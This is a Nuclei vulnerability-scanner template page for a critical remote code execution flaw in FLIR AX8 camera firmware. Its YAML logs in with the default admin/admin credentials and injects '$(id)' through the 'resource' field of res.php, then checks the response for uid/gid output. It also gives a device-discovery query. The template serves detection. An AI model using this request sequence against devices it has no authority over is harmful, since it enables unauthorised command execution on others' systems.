FLIR-AX8 res.php - Remote Code Execution
ID: flir-ax8-rce
Severity: critical
Author: momika233
Tags: flir-ax8,rce,exploitdb,iot,sensor,authenticated
Description
Section titled “Description”Remote Command Execution vulnerability in the FLIR-AX8 res.php file, the attacker obtains server permissions after logging in to the background with the default password.
YAML Source
Section titled “YAML Source”id: flir-ax8-rce
info: name: FLIR-AX8 res.php - Remote Code Execution author: momika233 severity: critical description: | Remote Command Execution vulnerability in the FLIR-AX8 res.php file, the attacker obtains server permissions after logging in to the background with the default password. reference: - https://www.exploit-db.com/exploits/45602 - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/%E8%8F%B2%E5%8A%9B%E5%B0%94/FLIR-AX8%20res.php%20%E5%90%8E%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md classification: cpe: cpe:2.3:o:flir:flir_ax8_firmware:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 fofa-query: app="FLIR-FLIR-AX8" product: flir_ax8_firmware vendor: flir tags: flir-ax8,rce,exploitdb,iot,sensor,authenticatedvariables: username: admin password: admin
http: - raw: - | POST /login/dologin HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
user_name={{username}}&user_password={{password}} - | POST /res.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
action=node&resource=$(id)
matchers-condition: and matchers: - type: dsl dsl: - contains_all(to_lower(header_1), 'text/html','phpsessid','showcameraid') - contains(body_1, 'success') - status_code_1 == 200 && status_code_2 == 200 condition: and
- type: regex part: body_2 regex: - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'
- type: status status: - 200
extractors: - type: regex part: body_2 regex: - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'# digest: 4a0a00473045022100867cd93fb5a482d12fc13fb77b3b3dad40ba2060ad3f481e2405004d15b0f04a0220029b09609845773045ff25254baba9e3554ee401fd6ad1ca9327dab5b8efd81f:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/flir-ax8-rce.yaml"